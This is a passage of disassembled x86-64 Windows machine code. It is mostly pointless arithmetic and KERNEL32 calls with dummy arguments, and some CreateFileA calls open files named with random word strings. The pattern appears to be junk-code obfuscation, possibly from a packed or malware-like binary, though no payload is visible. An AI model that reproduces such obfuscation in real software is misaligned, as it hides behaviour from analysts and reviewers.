movzx eax, byte [rax]
mov rcx, qword [0x1401e76c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x98d0]
mov byte [rcx], al
lea rax, [rsp + 0x56]
mov qword [rsp + 0xd280], rax
mov rax, qword [rsp + 0xb0b8]
mov rcx, qword [rsp + 0xc0e0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4ba8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xc6e8], rax
lea rdx, [rsp + 0x4e00]
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a50], eax
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xcb78]
mov qword [rsp + 0xd288], rax
mov rcx, qword [rsp + 0xc340]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xc668]
mov rcx, qword [rsp + 0xb768]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9690], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x9b00]
mov ecx, dword [rsp + 0x4bc8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x25548]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xa9f8]
movsx eax, word [rax]
movsx ecx, word [0x1401e7468]
sub eax, ecx
mov word [0x1401e617c], ax
lea rcx, [rsp + 0x2a8a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x43a0], eax
lea rax, [rsp + 0xfa4]
mov qword [rsp + 0xd290], rax
movzx eax, byte [rsp + 0x1c2]
movzx ecx, byte [rsp + 0x19a]
add eax, ecx
mov byte [rsp + 0xd1], al
movzx eax, word [0x1401e7a48]
mov word [rsp + 0x1370], ax
mov rax, qword [rsp + 0xb850]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa0c0]
mov eax, dword [rax]
mov dword [rsp + 0x4e04], eax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1264], ax
mov rax, qword [0x1401e7410]
movzx ecx, al
mov rax, qword [rsp + 0x9318]
shl rax, cl
mov rcx, qword [rsp + 0xb748]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4c50]
mov ecx, dword [rsp + 0x4394]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0xa218]
mov rax, qword [rax]
mov qword [rsp + 0xd298], rax
mov rax, qword [rsp + 0xa090]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e743b]
xor eax, ecx
mov rcx, qword [0x1401e7748]
mov byte [rcx], al
lea rcx, [rsp + 0xbdd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0xb150]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfe0]
sar eax, cl
mov word [rsp + 0xcb4], ax
lea rax, [rsp + 0x15f]
mov qword [rsp + 0xd2a0], rax
mov rax, qword [rsp + 0xbdc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc888]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0xcb18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf8]
sub eax, ecx
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0xc8d8]
mov rax, qword [rax]
mov qword [rsp + 0xd2a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc898]
mov rcx, qword [rsp + 0x9880]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xadb8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x10d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdb0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc3b8], rax
lea rax, [rsp + 0x4468]
mov qword [rsp + 0xd2b0], rax
mov rax, qword [rsp + 0xce28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4404]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4db4], eax
movzx eax, word [0x1401e6108]
movzx ecx, word [rsp + 0x12f0]
add eax, ecx
mov word [0x1401e7b10], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:_scuddedAfflicteddesignationAnalyse
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd2b8], rax
mov rax, qword [rsp + 0xb620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c40]
mov byte [rcx], al
movzx eax, byte [rsp + 0xf9]
mov byte [rsp + 0x1e7], al
movsx eax, word [0x1401e60b0]
mov rcx, qword [rsp + 0xb9a8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xb950]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
mov word [rsp + 0x1374], ax
mov rax, qword [rsp + 0xcfd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb538]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d8], rax
mov eax, dword [0x1401e6014]
mov dword [rsp + 0x4e08], eax
mov rax, qword [rsp + 0x9420]
mov ecx, dword [rsp + 0x4b48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49b4], eax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0xbe08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcc28], rax
lea rdx, [rsp + 0x4994]
mov rcx, qword [rsp + 0xd020]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d50], eax
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0xd2c0], rax
movzx eax, byte [rsp + 0x17b]
movzx ecx, byte [rsp + 0x7d]
shl eax, cl
mov byte [0x1401e60c2], al
mov rax, qword [rsp + 0x9760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd150]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10d8], ax
lea rcx, str.craftsmanship_colonel_Cardiac_Diuretic
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1378], ax
lea rax, [rsp + 0x127]
mov qword [rsp + 0xd2c8], rax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0xaaf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcb4], ax
mov eax, dword [0x1401e6018]
movzx ecx, al
mov eax, dword [rsp + 0x49c0]
shr eax, cl
mov rcx, qword [rsp + 0xb4d8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x9158]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xc520]
mov qword [rsp + 0xd2d0], rax
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x481c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb290]
mov rcx, qword [rsp + 0xd2a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e00], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x32ce
mov rcx, qword [rsp + 0xbe58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b40], eax
lea rax, [rsp + 0x4964]
mov qword [rsp + 0xd2d8], rax
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0xaca0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa620]
mov byte [rcx], al
movzx eax, word [rsp + 0x11a0]
mov word [0x1401e7b30], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x451c], eax
movzx eax, byte [rsp + 0xd3]
movzx ecx, byte [rsp + 0x1e2]
add eax, ecx
mov rcx, qword [rsp + 0x9960]
mov byte [rcx], al
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x1e8], al
mov rcx, qword [rsp + 0xd2b8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4e0c], eax
movzx eax, byte [rsp + 0x17b]
movzx ecx, byte [rsp + 0x141]
sub eax, ecx
mov byte [rsp + 0x16b], al
lea rax, [rsp + 0xb900]
mov qword [rsp + 0xd2e0], rax
mov rax, qword [rsp + 0xa7c8]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x9f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b7c], eax
lea rax, [rsp + 0x9e00]
mov qword [rsp + 0xd2e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xcc38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0xa0d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xba]
and eax, ecx
mov byte [0x1401e74e5], al
mov rax, qword [rsp + 0xb718]
movzx eax, word [rax]
mov word [rsp + 0x137c], ax
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdb8], ax
movsx eax, word [0x1401e6170]
mov rcx, qword [rsp + 0xb320]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd150]
mov word [rcx], ax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0xcbb0]
mov rcx, qword [rsp + 0x90e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf50], rax
mov eax, dword [rsp + 0x4d78]
mov rcx, qword [rsp + 0xc1d8]
mov qword [rsp + 0xd2f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4424], eax
lea rcx, [rsp + 0x267e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x4bc8]
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xbab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc078]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9258], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x11d]
mov byte [rsp + 0x1e9], al
movsx eax, word [rsp + 0xf1c]
mov rcx, qword [rsp + 0x9b50]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401e7510]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c90]
movzx eax, word [rax]
movzx ecx, word [0x1401e609c]
sub eax, ecx
mov word [rsp + 0x1354], ax
movzx eax, word [rsp + 0xddc]
mov rcx, qword [rsp + 0xc718]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xdfc], ax
movzx ecx, word [rsp + 0xeac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1280], ax
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0x1ea], al
mov r9d, 0x7e5
xor r8d, r8d
lea rdx, [rsp + 0xcff8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x42f0], eax
movzx eax, byte [rsp + 0xcd]
movzx ecx, byte [0x1401e74f2]
add eax, ecx
mov rcx, qword [rsp + 0xd108]
mov byte [rcx], al
lea rax, [rsp + 0x4be4]
mov qword [rsp + 0xd308], rax
mov rax, qword [rsp + 0xca88]
mov rcx, qword [rsp + 0x92a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf98], rax
mov rax, qword [rsp + 0x95d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov eax, dword [rsp + 0x43d4]
mov dword [rsp + 0x4e10], eax
lea rax, [rsp + 0x1094]
mov qword [0x1401e7b38], rax
mov rax, qword [rsp + 0x8ee8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb9a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa490]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.C:RecountingAnchovy_rejoinFastened
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd310], rax
mov rcx, qword [rsp + 0xb3f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4810], eax
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x1eb], al
movsx eax, word [rsp + 0x10d0]
movsx ecx, word [rsp + 0xd2c]
sub eax, ecx
mov word [rsp + 0xe24], ax
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0xcce0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf1], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x9df0]
mov qword [rsp + 0xd318], rax
mov dword [rsp + 0x20], 0x857
mov r9d, 0x777
mov r8d, 0x2da9
mov edx, 0x39e9
mov rcx, qword [rsp + 0xb9a0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4e14], eax
mov rax, qword [rsp + 0xbd40]
mov rcx, qword [rsp + 0xc5c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4984], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
mov rax, qword [rsp + 0x9ba0]
mov rax, qword [rax]
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xb008]
mov rcx, qword [rsp + 0x9270]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4348], eax
lea rax, [rsp + 0xea4]
mov qword [0x1401e7b40], rax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4cb0], eax
lea rcx, [rsp + 0x26c08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1274]
mov qword [rsp + 0xd328], rax
mov rax, qword [rsp + 0xd108]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfd]
shl eax, cl
mov byte [rsp + 0x9f], al
movzx eax, byte [rsp + 0x17b]
movzx ecx, byte [rsp + 0xd6]
sar eax, cl
mov byte [rsp + 0x74], al
lea rax, [rsp + 0xd2]
mov qword [rsp + 0xd330], rax
lea rcx, str.dyers_Cowling_anticonstitutional_Cayman_Sachet
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [rsp + 0xcf98]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbfa8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42f4], eax
lea rax, [rsp + 0xb1e0]
mov qword [rsp + 0xd338], rax
mov rax, qword [rsp + 0x9420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4be0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcb50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d0c]
mov ecx, dword [rsp + 0x4714]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaae8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ec], al
movsx eax, word [rsp + 0x120c]
movsx ecx, word [rsp + 0xc9c]
and eax, ecx
mov word [rsp + 0x11a8], ax
lea rax, [rsp + 0x18f]
mov qword [rsp + 0xd340], rax
movzx eax, word [rsp + 0xf84]
mov rcx, qword [rsp + 0xc260]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1328], ax
lea rdx, [rsp + 0x4560]
mov rcx, qword [rsp + 0xb4b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45c0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:Misstatementjadeunevaluated_anthropologistsmeticulous
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd348], rax
mov dword [rsp + 0x20], 0x1c6a
mov r9d, 0x3f5
mov r8d, 0x1318
mov edx, 0x217d
mov rcx, qword [rsp + 0xb138]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x43ec], eax
mov rax, qword [rsp + 0xc2c8]
mov rcx, qword [rsp + 0xaef0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb340], rax
lea rax, [rsp + 0xd1e8]
mov qword [rsp + 0xd350], rax
mov rax, qword [rsp + 0x90a0]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47ac], eax
lea rax, [rsp + 0x4838]
mov qword [rsp + 0xd358], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x46b8], eax
lea rdx, [rsp + 0xbea0]
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e18], eax
movzx eax, word [rsp + 0xdbc]
movzx ecx, word [rsp + 0x132c]
sub eax, ecx
mov rcx, qword [0x1401e7798]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1b3]
mov rcx, qword [0x1401e7a38]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa960]
mov byte [rcx], al
mov rax, qword [rsp + 0xa528]
movzx eax, word [rax]
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0xad70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x168]
sub eax, ecx
mov byte [rsp + 0x130], al
mov rax, qword [rsp + 0xc1b0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e6082]
sub eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xaa10]
mov qword [rsp + 0xd360], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0xc348]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94e0]
mov qword [rcx], rax
lea rax, [rsp + 0x45e4]
mov qword [rsp + 0xd368], rax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1338], ax
mov eax, dword [rsp + 0x4b50]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd370], rax
lea rax, [rsp + 0x1324]
mov qword [0x1401e7b48], rax
mov rax, qword [rsp + 0xa2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa148]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x56], al
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4ae4], eax
lea rax, [rsp + 0x1e7]
mov qword [rsp + 0xd378], rax
mov rcx, qword [rsp + 0x9e20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb2d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc9c]
sar eax, cl
mov word [rsp + 0xf14], ax
lea rax, [rsp + 0x5b]
mov qword [rsp + 0xd380], rax
lea rcx, [rsp + 0xce60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xbd10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb328], rax
mov eax, dword [rsp + 0x4554]
mov ecx, dword [rsp + 0x4c3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b8c], eax
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov qword [rsp + 0xd388], rax
mov eax, dword [rsp + 0x4dfc]
mov ecx, dword [rsp + 0x4a90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43a4], eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4e1c], eax
movzx eax, word [rsp + 0xf88]
movzx ecx, word [rsp + 0xe60]
add eax, ecx
mov word [0x1401e6034], ax
lea rax, [rsp + 0x1328]
mov qword [rsp + 0xd390], rax
movsx eax, word [0x1401e74b0]
movsx ecx, word [rsp + 0x123c]
and eax, ecx
mov word [rsp + 0xccc], ax
mov rax, qword [rsp + 0xd278]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa2e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaab0]
mov byte [rcx], al
lea rax, [rsp + 0x1b7]
mov qword [rsp + 0xd398], rax
mov rax, qword [rsp + 0xc300]
mov rcx, qword [rsp + 0xc190]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbe28], rax
lea rax, [rsp + 0xa2b0]
mov qword [rsp + 0xd3a0], rax
mov rax, qword [rsp + 0xad88]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb008]
mov dword [rcx], eax
lea rax, [rsp + 0x4d44]
mov qword [rsp + 0xd3a8], rax
lea rax, [rsp + 0x10e8]
mov qword [0x1401e7b50], rax
movsx eax, word [rsp + 0x1238]
mov rcx, qword [rsp + 0xc290]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0xd0b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa3]
add eax, ecx
mov byte [rsp + 0x95], al
movzx eax, word [rsp + 0xbcc]
mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0xc358]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbdf0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xced0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4a5c]
mov dword [rsp + 0x4e20], eax
mov rax, qword [rsp + 0xb6f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb8a0]
mov qword [rsp + 0xd3b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3b0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb278]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0x9908]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9520], rax
mov rcx, qword [rsp + 0xccf0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4258], eax
lea rdx, [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xaed0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c64], eax
lea rax, [rsp + 0x4524]
mov qword [rsp + 0xd3c0], rax
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [rsp + 0xb9a8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9a50]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4638], eax
movzx eax, word [rsp + 0xec4]
cdq
mov ecx, 0xb3e
idiv ecx
mov word [0x1401e6180], ax
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0x1ed], al
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0xccc0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e70]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0f0]
movzx eax, byte [rax]
mov rcx, qword [0x1401e75c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
mov byte [rcx], al
mov qword [rsp + 0x20], 0
mov r9d, 0x2205
mov r8d, 0x2f2e
mov edx, 0x42
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x477c], eax
lea rax, [rsp + 0x4720]
mov qword [rsp + 0xd3c8], rax
mov rax, qword [rsp + 0xae68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc848]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa690]
mov qword [rcx], rax
lea rax, [rsp + 0x4588]
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xa9e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc3d0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0x107c]
mov qword [rsp + 0xd3d8], rax
movsx eax, word [rsp + 0x10ac]
mov rcx, qword [rsp + 0xc778]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e76d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x131]
and eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov byte [rcx], al
movzx eax, byte [rsp + 0x130]
movzx ecx, byte [rsp + 0x16b]
add eax, ecx
mov byte [rsp + 0x144], al
movzx eax, word [rsp + 0x11bc]
mov word [rsp + 0x138c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:_boathouseDuring
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xd3e0], rax
mov r9d, 1
lea r8, [rsp + 0xb708]
mov rdx, qword [rsp + 0xd170]
mov rcx, qword [rsp + 0xb8b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4be8], eax
mov rax, qword [rsp + 0xd010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov eax, dword [rsp + 0x4808]
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4420], eax
mov rax, qword [rsp + 0xbcf8]
mov rcx, qword [rsp + 0xb8a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc3a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc58]
mov word [rsp + 0x1390], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc590], rax
lea rax, [rsp + 0x13c]
mov qword [0x1401e7b58], rax
movzx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0xc278]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xae50]
mov word [rcx], ax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0xd3e8], rax
movzx eax, byte [rsp + 0x6f]
movzx ecx, byte [rsp + 0x147]
xor eax, ecx
mov rcx, qword [rsp + 0x99c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac28]
